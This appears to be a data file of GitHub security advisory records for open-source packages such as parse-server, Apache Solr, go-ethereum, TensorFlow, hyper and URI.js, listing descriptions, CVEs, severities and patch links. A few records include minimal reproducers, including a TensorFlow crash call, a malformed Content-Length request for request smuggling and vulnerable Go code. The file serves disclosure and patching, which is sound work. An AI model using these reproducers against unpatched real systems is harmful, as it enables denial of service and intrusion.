GHSA | GHSA-8w3j-g983-8jh5 | Sensitive Data Exposure in parse-server | Versions of parse-server prior to 3.6.0 could allow an account enumeration attack via account linking.
`ParseError.ACCOUNT_ALREADY_LINKED(208)` was thrown BEFORE the AuthController checks the password and throws a `ParseError.SESSION_MISSING(206)` for Insufficient auth. An attacker can guess ids and get information about linked accounts/email addresses.
### For more information
If you have any questions or comments about this advisory,
Open an issue in the [parse-server](https://github.com/parse-community/parse-server)
[Parse Community Vulnerability Disclosure Program](https://github.com/parse-community/parse-server/blob/master/SECURITY.md) | {'CVE-2019-1020013'} | 2022-04-19T19:02:41Z | 2019-07-11T14:23:09Z | MODERATE | 5.3 | {'CWE-209'} | {'https://github.com/advisories/GHSA-8w3j-g983-8jh5', 'https://www.npmjs.com/advisories/1114', 'https://github.com/parse-community/parse-server/commit/73b0f9a339b81f5d757725dc557955a7b670a3ec', 'https://snyk.io/vuln/SNYK-JS-PARSESERVER-455637', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1020013', 'https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)#Description_of_the_Issue', 'https://github.com/parse-community/parse-server/security/advisories/GHSA-8w3j-g983-8jh5'} | null | {'https://github.com/parse-community/parse-server/commit/73b0f9a339b81f5d757725dc557955a7b670a3ec'} | {'https://github.com/parse-community/parse-server/commit/73b0f9a339b81f5d757725dc557955a7b670a3ec'} |
GHSA | GHSA-9mrv-456v-pf22 | Cross-site Scripting in vis-timeline | This affects the package vis-timeline before 7.4.4.
An attacker with the ability to control the items of a Timeline element can inject additional script code into the generated application. | {'CVE-2020-28487'} | 2021-04-13T15:19:50Z | 2021-04-13T15:19:50Z | MODERATE | 6.8 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-28487', 'https://github.com/visjs/vis-timeline/pull/840', 'https://github.com/advisories/GHSA-9mrv-456v-pf22', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBVISJS-1063502', 'https://snyk.io/vuln/SNYK-JS-VISTIMELINE-1063500', 'https://github.com/visjs/vis-timeline/commit/a7ca349c7b3b6080efd05776ac77bb27176d4d3f', 'https://github.com/visjs/vis-timeline/issues/838', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1063501'} | null | {'https://github.com/visjs/vis-timeline/commit/a7ca349c7b3b6080efd05776ac77bb27176d4d3f'} | {'https://github.com/visjs/vis-timeline/commit/a7ca349c7b3b6080efd05776ac77bb27176d4d3f'} |
GHSA | GHSA-29q4-gxjq-rx5c | Remote Code Execution in SCIMono | ### Impact
It is possible for attacker to inject and execute java expression and compromising the availability and integrity of the system.
### Patches
The issue was fixed on [0.0.19 version](https://mvnrepository.com/artifact/com.sap.scimono/scimono-server/0.0.19) | {'CVE-2021-21479'} | 2021-11-02T16:11:14Z | 2021-02-10T02:31:53Z | HIGH | 0 | {'CWE-690', 'CWE-59', 'CWE-74', 'CWE-917', 'CWE-62', 'CWE-77'} | {'https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c', 'https://mvnrepository.com/artifact/com.sap.scimono/scimono-server/0.0.19', 'https://github.com/advisories/GHSA-29q4-gxjq-rx5c', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21479', 'https://github.com/SAP/scimono/commit/413b5d75fa94e77876af0e47be76475a23745b80'} | null | {'https://github.com/SAP/scimono/commit/413b5d75fa94e77876af0e47be76475a23745b80'} | {'https://github.com/SAP/scimono/commit/413b5d75fa94e77876af0e47be76475a23745b80'} |
GHSA | GHSA-3gm7-v7vw-866c | XML External Entity (XXE) Injection in Apache Solr | In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true. | {'CVE-2019-0193'} | 2021-08-31T21:17:20Z | 2019-08-01T19:17:35Z | HIGH | 7.2 | {'CWE-94'} | {'https://issues.apache.org/jira/browse/SOLR-13669', 'https://lists.apache.org/thread.html/6f2d61bd8732224c5fd3bdd84798f8e01e4542d3ee2f527a52a81b83@%3Cissues.lucene.apache.org%3E', 'https://snyk.io/vuln/SNYK-JAVA-ORGAPACHESOLR-536063', 'https://lists.apache.org/thread.html/1addbb49a1fc0947fb32ca663d76d93cfaade35a4848a76d4b4ded9c@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/r140128dc6bb4f4e0b6a39e962c7ca25a8cbc8e48ed766176c931fccc@%3Cusers.solr.apache.org%3E', 'https://lists.apache.org/thread.html/r19d23e8640236a3058b4d6c23e5cd663fde182255f5a9d63e0606a66@%3Cdev.lucene.apache.org%3E', 'https://nvd.nist.gov/vuln/detail/CVE-2019-0193', 'https://lists.apache.org/thread.html/bcce5a9c532b386c68dab2f6b3ce8b0cc9b950ec551766e76391caa3@%3Ccommits.nifi.apache.org%3E', 'https://lists.debian.org/debian-lts-announce/2020/08/msg00025.html', 'https://lists.apache.org/thread.html/r1d4a247329a8478073163567bbc8c8cb6b49c6bfc2bf58153a857af1@%3Ccommits.druid.apache.org%3E', 'https://lists.debian.org/debian-lts-announce/2019/10/msg00013.html', 'https://lists.apache.org/thread.html/rb34d820c21f1708c351f9035d6bc7daf80bfb6ef99b34f7af1d2f699@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/r3da74965aba2b5f5744b7289ad447306eeb2940c872801819faa9314@%3Cusers.solr.apache.org%3E', 'https://lists.apache.org/thread.html/55880d48e38ba9e8c41a3b9e41051dbfdef63b86b0cfeb32967edf03@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/rca37935d661f4689cb4119f1b3b224413b22be161b678e6e6ce0c69b@%3Ccommits.nifi.apache.org%3E', 'https://github.com/apache/lucene-solr/commit/02c693f3713add1b4891cbaa87127de3a55c10f7', 'https://lists.apache.org/thread.html/42cc4d334ba33905b872a0aa00d6a481391951c8b1450f01b077ce74@%3Cissues.lucene.apache.org%3E', 'https://github.com/advisories/GHSA-3gm7-v7vw-866c', 'https://lists.apache.org/thread.html/r95df34bb158375948da82b4dfe9a1b5d528572d586584162f8f5aeef@%3Cusers.solr.apache.org%3E', 'https://lists.apache.org/thread.html/r339865b276614661770c909be1dd7e862232e3ef0af98bfd85686b51@%3Cdev.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/rc400db37710ee79378b6c52de3640493ff538c2beb41cefdbbdf2ab8@%3Ccommits.submarine.apache.org%3E', 'https://lists.apache.org/thread.html/a6e3c09dba52b86d3a1273f82425973e1b0623c415d0e4f121d89eab@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/7143983363f0ba463475be4a8b775077070a08dbf075449b7beb51ee@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/e85f735fad06a0fb46e74b7e6e9ce7ded20b59637cd9f993310f814d@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/r33aed7ad4ee9833c4190a44e2b106efd2deb19504b85e012175540f6@%3Cissues.lucene.apache.org%3E', 'https://lists.apache.org/thread.html/9b0e7a7e3e18d0724f511403b364fc082ff56e3134d84cfece1c82fc@%3Cissues.lucene.apache.org%3E'} | null | {'https://github.com/apache/lucene-solr/commit/02c693f3713add1b4891cbaa87127de3a55c10f7'} | {'https://github.com/apache/lucene-solr/commit/02c693f3713add1b4891cbaa87127de3a55c10f7'} |
GHSA | GHSA-9w8f-7wgr-2h7g | kimai2 is vulnerable to Improper Access Control | kimai2 is vulnerable to Improper Access Control | {'CVE-2021-3992'} | 2021-12-03T20:42:59Z | 2021-12-03T20:42:59Z | MODERATE | 6.5 | {'CWE-863', 'CWE-284'} | {'https://github.com/kevinpapst/kimai2/commit/ff9acab0fc81f0e9490462739ef15fe4ab028ea5', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3992', 'https://github.com/advisories/GHSA-9w8f-7wgr-2h7g', 'https://huntr.dev/bounties/a0c438fb-c8e1-40cf-acc6-c8a532b80b93'} | null | {'https://github.com/kevinpapst/kimai2/commit/ff9acab0fc81f0e9490462739ef15fe4ab028ea5'} | {'https://github.com/kevinpapst/kimai2/commit/ff9acab0fc81f0e9490462739ef15fe4ab028ea5'} |
GHSA | GHSA-g95f-p29q-9xw4 | Regular Expression Denial of Service in braces | Versions of `braces` prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
## Recommendation
Upgrade to version 2.3.1 or higher. | null | 2021-08-04T21:35:07Z | 2019-06-06T15:30:30Z | LOW | 3.7 | {'CWE-400', 'CWE-185'} | {'https://github.com/advisories/GHSA-g95f-p29q-9xw4', 'https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451', 'https://www.npmjs.com/advisories/786', 'https://snyk.io/vuln/npm:braces:20180219'} | null | {'https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451'} | {'https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451'} |
GHSA | GHSA-59hh-656j-3p7v | DoS via maliciously crafted p2p message | ### Impact
A vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer, via the `snap/1` protocol. The crash can be triggered by sending a malicious `snap/1` `GetTrieNodes` package.
### Details
On September 21, 2021, geth-team member Gary Rong (@rjl493456442) found a way to crash the snap request handler .
By using this vulnerability, a peer connected on the `snap/1` protocol could cause a vulnerable node to crash with a `panic`.
In the `trie.TryGetNode` implementation, if the requested path is reached, the associated node will be returned. However the nilness is
not checked there.
```golang
func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {
// If we reached the requested path, return the current node
if pos >= len(path) {
// Although we most probably have the original node expanded, encoding
// that into consensus form can be nasty (needs to cascade down) and
// time consuming. Instead, just pull the hash up from disk directly.
var hash hashNode
if node, ok := origNode.(hashNode); ok {
hash = node
} else {
hash, _ = origNode.cache()
}
```
More specifically the `origNode` can be nil(e.g. the child of fullnode) and system can panic at line `hash, _ = origNode.cache()`.
When investigating this, @holiman tried to find it via fuzzing, which uncovered a second crasher, also related to the snap `GetTrieNodes` package. If the caller requests a storage trie:
```golang
// Storage slots requested, open the storage trie and retrieve from there
account, err := snap.Account(common.BytesToHash(pathset[0]))
loads++ // always account database reads, even for failures
if account == nil {
break
}
stTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)
```
The code assumes that `snap.Account` returns _either_ a non-nil response unless `error` is also provided. This is however not the case, since `snap.Account` can return `nil, nil`.
### Patches
```diff
--- a/eth/protocols/snap/handler.go
+++ b/eth/protocols/snap/handler.go
@@ -469,7 +469,7 @@ func handleMessage(backend Backend, peer *Peer) error {
// Storage slots requested, open the storage trie and retrieve from there
account, err := snap.Account(common.BytesToHash(pathset[0]))
loads++ // always account database reads, even for failures
- if err != nil {
+ if err != nil || account == nil {
break
}
stTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)
diff --git a/trie/trie.go b/trie/trie.go
index 7ea7efa835..d0f0d4e2bc 100644
--- a/trie/trie.go
+++ b/trie/trie.go
@@ -174,6 +174,10 @@ func (t *Trie) TryGetNode(path []byte) ([]byte, int, error) {
}
func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {
+ // If non-existent path requested, abort
+ if origNode == nil {
+ return nil, nil, 0, nil
+ }
// If we reached the requested path, return the current node
if pos >= len(path) {
// Although we most probably have the original node expanded, encoding
@@ -193,10 +197,6 @@ func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, new
}
// Path still needs to be traversed, descend into children
switch n := (origNode).(type) {
- case nil:
- // Non-existent path requested, abort
- return nil, nil, 0, nil
-
case valueNode:
// Path prematurely ended, abort
return nil, nil, 0, nil
```
The fixes were merged into [#23657](https://github.com/ethereum/go-ethereum/pull/23657), with commit [f1fd963](https://github.com/ethereum/go-ethereum/pull/23657/commits/f1fd963a5a965e643e52fcf805a2a02a323c32b8), and released as part of Geth [v1.10.9](https://github.com/ethereum/go-ethereum/tree/v1.10.9) on Sept 29, 2021.
### Workarounds
Apply the patch above or upgrade to a version which is not vulnerable.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum/)
* Email us at [security@ethereum.org](mailto:security@ethereum.org)
| {'CVE-2021-41173'} | 2022-04-19T19:03:12Z | 2021-10-25T19:42:57Z | MODERATE | 5.7 | {'CWE-20'} | {'https://github.com/ethereum/go-ethereum/pull/23801', 'https://github.com/ethereum/go-ethereum/commit/e40b37718326b8b4873b3b00a0db2e6c6d9ea738', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41173', 'https://github.com/advisories/GHSA-59hh-656j-3p7v', 'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-59hh-656j-3p7v', 'https://github.com/ethereum/go-ethereum/releases/tag/v1.10.9'} | null | {'https://github.com/ethereum/go-ethereum/commit/e40b37718326b8b4873b3b00a0db2e6c6d9ea738'} | {'https://github.com/ethereum/go-ethereum/commit/e40b37718326b8b4873b3b00a0db2e6c6d9ea738'} |
GHSA | GHSA-rcwj-2hj2-vmjj | Insufficient Session Expiration in Apache NiFi Registry | If NiFi Registry 0.1.0 to 0.5.0 uses an authentication mechanism other than PKI, when the user clicks Log Out, NiFi Registry invalidates the authentication token on the client side but not on the server side. This permits the user's client-side token to be used for up to 12 hours after logging out to make API requests to NiFi Registry. | {'CVE-2020-9482'} | 2022-02-09T00:23:21Z | 2022-02-09T00:23:06Z | MODERATE | 6.5 | {'CWE-613'} | {'https://github.com/apache/nifi-registry/pull/277/files/9f7f1c1b1095e3facdaa986435fa94eff78627dd', 'https://nifi.apache.org/registry-security.html#CVE-2020-9482', 'https://github.com/advisories/GHSA-rcwj-2hj2-vmjj', 'https://github.com/apache/nifi-registry/commit/2881e29dce3a179f3e56069b82ef8cbb7bd8d85c', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9482'} | null | {'https://github.com/apache/nifi-registry/commit/2881e29dce3a179f3e56069b82ef8cbb7bd8d85c'} | {'https://github.com/apache/nifi-registry/commit/2881e29dce3a179f3e56069b82ef8cbb7bd8d85c'} |
GHSA | GHSA-4xfp-4pfp-89wg | Reference binding to nullptr in `RaggedTensorToSparse` | ### Impact
An attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToSparse`:
```python
import tensorflow as tf
tf.raw_ops.RaggedTensorToSparse(
rt_nested_splits=[[0, 38, 0]],
rt_dense_values=[])
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30) has an incomplete validation of the splits values: it does not check that they are in increasing order.
### Patches
We have patched the issue in GitHub commit [1071f554dbd09f7e101324d366eec5f4fe5a3ece](https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37656'} | 2021-08-25T14:42:55Z | 2021-08-25T14:42:55Z | HIGH | 7.1 | {'CWE-824'} | {'https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece', 'https://github.com/advisories/GHSA-4xfp-4pfp-89wg', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4xfp-4pfp-89wg', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37656'} | null | {'https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece'} | {'https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece'} |
GHSA | GHSA-mm4f-47ch-f7hx | Arbitrary code execution in kill-by-port | This affects the package kill-by-port before 0.0.2. If (attacker-controlled) user input is given to the killByPort function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. | {'CVE-2021-23363'} | 2021-04-13T15:32:43Z | 2021-04-13T15:32:43Z | MODERATE | 6.3 | {'CWE-77'} | {'https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4', 'https://github.com/GuyMograbi/kill-by-port/blob/16dcbe264b6b4a5ecf409661b42836dd286fd43f/index.js%23L8', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23363', 'https://github.com/advisories/GHSA-mm4f-47ch-f7hx', 'https://snyk.io/vuln/SNYK-JS-KILLBYPORT-1078531'} | null | {'https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4'} | {'https://github.com/GuyMograbi/kill-by-port/commit/ea5b1f377e196a4492e05ff070eba8b30b7372c4'} |
GHSA | GHSA-6h7f-qwqm-35pp | Arbitrary File Read in phantom-html-to-pdf | This affects the package phantom-html-to-pdf before 0.6.1. | {'CVE-2020-7763'} | 2021-07-29T20:38:33Z | 2020-11-06T18:06:16Z | HIGH | 7.5 | {'CWE-200', 'CWE-22'} | {'https://github.com/advisories/GHSA-6h7f-qwqm-35pp', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7763', 'https://www.npmjs.com/package/phantom-html-to-pdf', 'https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598', 'https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259'} | null | {'https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259'} | {'https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259'} |
GHSA | GHSA-m9hp-7r99-94h5 | Critical security issues in XML encoding in github.com/dexidp/dex | ### Impact
The following vulnerabilities have been disclosed, which impact users leveraging the SAML connector:
Signature Validation Bypass (CVE-2020-15216): https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7
`encoding/xml` instabilities:
- [Element namespace prefix instability (CVE-2020-29511)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-elements.md)
- [Attribute namespace prefix instability (CVE-2020-29509)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-attributes.md)
- [Directive comment instability (CVE-2020-29510)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-directives.md)
### Patches
Immediately update to [Dex v2.27.0](https://github.com/dexidp/dex/releases/tag/v2.27.0).
### Workarounds
There are no known workarounds. | {'CVE-2020-26290'} | 2022-04-19T19:02:43Z | 2021-12-20T17:53:53Z | CRITICAL | 9.3 | {'CWE-347'} | {'https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-attributes.md', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26290', 'https://github.com/dexidp/dex/security/advisories/GHSA-m9hp-7r99-94h5', 'https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7', 'https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/', 'https://github.com/advisories/GHSA-m9hp-7r99-94h5', 'https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-elements.md', 'https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-directives.md', 'https://github.com/dexidp/dex/releases/tag/v2.27.0', 'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} | null | {'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} | {'https://github.com/dexidp/dex/commit/324b1c886b407594196113a3dbddebe38eecd4e8'} |
GHSA | GHSA-4xc7-x2jr-cr74 | Improper Authorization in dolibarr/dolibarr | Dolibarr allows improper access control issues in the userphoto modulepart. The impact could lead to data exposure as the attached files and documents may contain sensitive information of relevant parties such as contacts, suppliers, invoices, orders, stocks, agenda, accounting and more. | {'CVE-2022-0731'} | 2022-03-04T14:46:06Z | 2022-02-24T00:00:52Z | MODERATE | 6.5 | {'CWE-863'} | {'https://huntr.dev/bounties/e242ab4e-fc70-4b2c-a42d-5b3ee4895de8', 'https://github.com/advisories/GHSA-4xc7-x2jr-cr74', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0731', 'https://github.com/dolibarr/dolibarr/commit/209ab708d4b65fbd88ba4340d60b7822cb72651a'} | null | {'https://github.com/dolibarr/dolibarr/commit/209ab708d4b65fbd88ba4340d60b7822cb72651a'} | {'https://github.com/dolibarr/dolibarr/commit/209ab708d4b65fbd88ba4340d60b7822cb72651a'} |
GHSA | GHSA-hrgx-7j6v-xj82 | Reflected cross-site scripting (XSS) vulnerability | This security advisory relates to a capability for an attacker to exploit a reflected cross-site scripting vulnerability when using the `@keystone-6/auth` package.
#### Impact
The vulnerability can impact users of the administration user interface when following an untrusted link to the `signin` or `init` page.
This is a targeted attack and may present itself in the form of phishing and or chained in conjunction with some other vulnerability.
## Vulnerability mitigation
Please upgrade to `@keystone-6/auth >= 1.0.2`, where this vulnerability has been closed.
If you are using `@keystone-next/auth`, we **strongly** recommend you upgrade to `@keystone-6`.
### Workarounds
If for some reason you cannot upgrade the dependencies in software, you could alternatively
- disable the administration user interface, or
- if using a reverse-proxy, strip query parameters when accessing the administration interface
### References
https://owasp.org/www-community/attacks/xss/
Thanks to Shivansh Khari (@Shivansh-Khari) for discovering and reporting this vulnerability | {'CVE-2022-0087'} | 2022-04-19T19:03:19Z | 2022-01-12T21:55:40Z | HIGH | 7.1 | {'CWE-79'} | {'https://huntr.dev/bounties/c9d7374f-2cb9-4bac-9c90-a965942f413e', 'https://github.com/keystonejs/keystone/security/advisories/GHSA-hrgx-7j6v-xj82', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0087', 'https://github.com/advisories/GHSA-hrgx-7j6v-xj82', 'https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38'} | null | {'https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38'} | {'https://github.com/keystonejs/keystone/commit/96bf833a23b1a0a5d365cf394467a943cc481b38'} |
GHSA | GHSA-qcx9-j53g-ccgf | Remote Code Execution via unsafe classes in otherwise permitted modules | ### Impact
The module `AccessControl` defines security policies for Python code used in restricted code within Zope applications. Restricted code is any code that resides in Zope's object database, such as the contents of `Script (Python)` objects.
The policies defined in `AccessControl` severely restrict access to Python modules and only exempt a few that are deemed safe, such as Python's `string` module. However, full access to the `string` module also allows access to the class `Formatter`, which can be overridden and extended within `Script (Python)` in a way that provides access to other unsafe Python libraries. Those unsafe Python libraries can be used for remote code execution.
By default, you need to have the admin-level Zope "Manager" role to add or edit `Script (Python)` objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web - which would be a very unusual configuration to begin with - are at risk.
### Patches
The problem has been fixed in AccessControl 4.3 and 5.2.
Only AccessControl versions 4 and 5 are vulnerable, and only on Python 3, not Python 2.7.
### Workarounds
A site administrator can restrict adding/editing `Script (Python)` objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [AccessControl issue tracker](https://github.com/zopefoundation/AccessControl/issues)
* Email us at [security@plone.org](mailto:security@plone.org)
| {'CVE-2021-32807'} | 2021-08-30T23:27:56Z | 2021-08-05T17:01:30Z | MODERATE | 4.4 | {'CWE-915'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-32807', 'https://github.com/advisories/GHSA-qcx9-j53g-ccgf', 'https://github.com/zopefoundation/AccessControl/blob/master/CHANGES.rst#51-2021-07-30', 'https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c', 'https://github.com/zopefoundation/AccessControl/security/advisories/GHSA-qcx9-j53g-ccgf'} | null | {'https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c'} | {'https://github.com/zopefoundation/AccessControl/commit/b42dd4badf803bb9fb71ac34cd9cb0c249262f2c'} |
GHSA | GHSA-mj9r-wwm8-7q52 | Open Redirect in github.com/AndrewBurian/powermux | ### Impact
Attackers may be able to craft phishing links and other open redirects by exploiting the trailing slash redirection feature. This may lead to users being redirected to untrusted sites after following an attacker crafted link.
### Patches
The issue is resolved in v1.1.1
### Workarounds
There are no existing workarounds.
You may detect attempts to craft urls that exploit this feature by looking for request paths containing pairs of forward slashes in sequence combined with a trailing slash e.g. `https://example.com//foo/`
| {'CVE-2021-32721'} | 2021-07-01T17:00:32Z | 2021-07-01T17:00:32Z | MODERATE | 4.7 | {'CWE-601'} | {'https://github.com/advisories/GHSA-mj9r-wwm8-7q52', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32721', 'https://github.com/AndrewBurian/powermux/commit/5e60a8a0372b35a898796c2697c40e8daabed8e9', 'https://github.com/AndrewBurian/powermux/security/advisories/GHSA-mj9r-wwm8-7q52'} | null | {'https://github.com/AndrewBurian/powermux/commit/5e60a8a0372b35a898796c2697c40e8daabed8e9'} | {'https://github.com/AndrewBurian/powermux/commit/5e60a8a0372b35a898796c2697c40e8daabed8e9'} |
GHSA | GHSA-f3pg-qwvg-p99c | Lenient Parsing of Content-Length Header When Prefixed with Plus Sign | ### Summary
hyper's HTTP/1 server code had a flaw that incorrectly parses and accepts requests with a `Content-Length` header with a prefixed plus sign, when it should have been rejected as illegal. This combined with an upstream HTTP proxy that doesn't parse such `Content-Length` headers, but forwards them, can result in "request smuggling" or "desync attacks".
### Vulnerability
The flaw exists in all prior versions of hyper, if built with [`rustc` v1.5.0 or newer](https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739).
Example:
```
GET / HTTP/1.1
Host: example.com
Content-Length: +3
abc
```
This request gets accepted and hyper reads the body as abc. The request _should_ be rejected, according to RFC 7230, since the ABNF for `Content-Length` only allows for `DIGIT`s. This is due to using the `FromStr` implementation for `u64` in the standard library. By differing from the spec, it is possible to send requests like these to endpoints that have different HTTP implementations, with different interpretations of the payload semantics, and cause "desync attacks".
In this particular case, an upstream proxy would need to error when parsing the `Content-Length`, but _not_ reject the request (swallowing its own error), and forwarding the request as-is with the `Content-Length` still included. _Then_ the upstream proxy and hyper would disagree on the length of the request body. The combination of these factors would be extremely rare.
Read more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
### Impact
To determine if vulnerable, all these things must be true:
- **Using hyper as an HTTP server**. While the lenient decoder also exists in the client, a vulnerability does not exist around _responses_.
- **Using HTTP/1**. The HTTP/2 code uses a stricter parser.
- **Using a vulnerable HTTP proxy upstream to hyper**. If an upstream proxy correctly rejects the illegal `Content-Length` header, *OR* can parse the length with the plus sign, the desync attack cannot succeed.
### Patches
We have released the following patch versions:
- v0.14.10 (to be released when this advisor is published)
### Workarounds
Besides upgrading hyper, you can take the following options:
- Reject requests manually that contain a plus sign prefix in the `Content-Length` header.
- Ensure any upstream proxy handles `Content-Length` headers with a plus sign prefix.
### Credits
This issue was initially reported by [Mattias Grenfeldt](https://grenfeldt.dev/) and Asta Olofsson. | {'CVE-2021-32715'} | 2022-04-19T19:03:01Z | 2021-07-12T16:54:20Z | LOW | 3.1 | {'CWE-444'} | {'https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32715', 'https://rustsec.org/advisories/RUSTSEC-2021-0078.html', 'https://github.com/advisories/GHSA-f3pg-qwvg-p99c', 'https://github.com/hyperium/hyper/security/advisories/GHSA-f3pg-qwvg-p99c'} | null | {'https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739'} | {'https://github.com/rust-lang/rust/pull/28826/commits/123a83326fb95366e94a3be1a74775df4db97739'} |
GHSA | GHSA-gmv4-r438-p67f | Leading white space bypasses protocol validation | ### Impact
Whitespace characters are not removed from the beginning of the protocol, so URLs are not parsed properly and protocol validation mechanisms may fail.
### Patches
Patched in 1.19.9
### Workarounds
Remove leading whitespace from values before passing them to URI.parse (e.g. via `.href(value)` or `new URI(value)`), e.g. by using
```js
function remove_whitespace(url){
const whitespace = /^[\x00-\x20\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]+/;
url = url.replace(whitespace, '')
return url
}
```
### References
* https://huntr.dev/bounties/82ef23b8-7025-49c9-b5fc-1bb9885788e5/
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [medialize/URI.js](https://github.com/medialize/URI.js/)
